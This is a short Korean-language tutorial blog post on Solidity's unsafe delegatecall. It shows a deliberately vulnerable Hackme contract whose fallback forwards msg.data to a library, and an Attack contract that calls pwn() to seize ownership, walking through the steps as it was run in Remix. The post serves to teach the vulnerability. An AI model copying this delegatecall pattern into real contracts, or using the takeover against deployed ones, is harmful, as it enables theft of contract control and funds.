[Solidity] Unsafe Delegate Call.1

임형석·2023년 10월 10일
0

Delegate Call


Delegate Call ?

간단하게 설명하면,

A 라는 컨트랙트가 있고, B 라는 컨트랙트가 있다고 했을 때.

A 라는 컨트랙트가 B 컨트랙트의 함수를 이용해서 자신의 State 를 바꾸는 것을 delegate call 이라고 한다.

과거에 delegate call, function selector 에 대해 정리해놓은 글이 있다.

delegate call, function selector 에 대해..


Unsafe delegate call

다음은 안전하지 않은 delegate call 의 사용 예시이다.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

contract Hackme {
    address public owner;
    Lib public lib;

    constructor(address _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

    fallback() external {
        address(lib).delegatecall(msg.data);
    }
}

contract Lib {
    address public owner;

    function pwn() public {
        owner = msg.sender;
    }
}

contract Attack {
    address public hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() public {
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}

Lib, Hackme, Attack 총 세개의 컨트랙트가 있다.

이때, Attack 컨트랙트의 attack 함수를 사용하면 무슨일이 발생할까?

  1. attack 함수가 실행된다. 하지만 hackMe 컨트랙트 내에는 pwn 이라는 함수를 찾을 수 없기에 fallback 으로 빠지게 된다.
  2. fallback 내부의 로직으로 lib 컨트랙트를 delegate call 한다. 이때 msg.data 를 통해 delgate call 한다.
  3. lib 컨트랙트의 pwn() 함수를 찾아 로직을 읽어온다.
  4. Hackme 컨트랙트는 읽어온 로직을 실행하여 Attack 컨트랙트 주소를 owner 로 변경시킨다.

remix 에서 직접 실행시켜보았다.

현재는 컨트랙트의 배포자가 Hackme 컨트랙트의 owner 이다.

attack 해보면..

Attack 컨트랙트가 owner 로 바뀐 것을 볼 수 있다.

Hackme 컨트랙트는 pwn 함수에 대해서는 아무런 코드도 작성하지 않았지만, msg.data 를 통해 공격을 당했다.


간단한 예제를 통해 delegate call 과 이를 공격하는 방법에 대해 공부해보았다.

part 2 에서 이어서..

0개의 댓글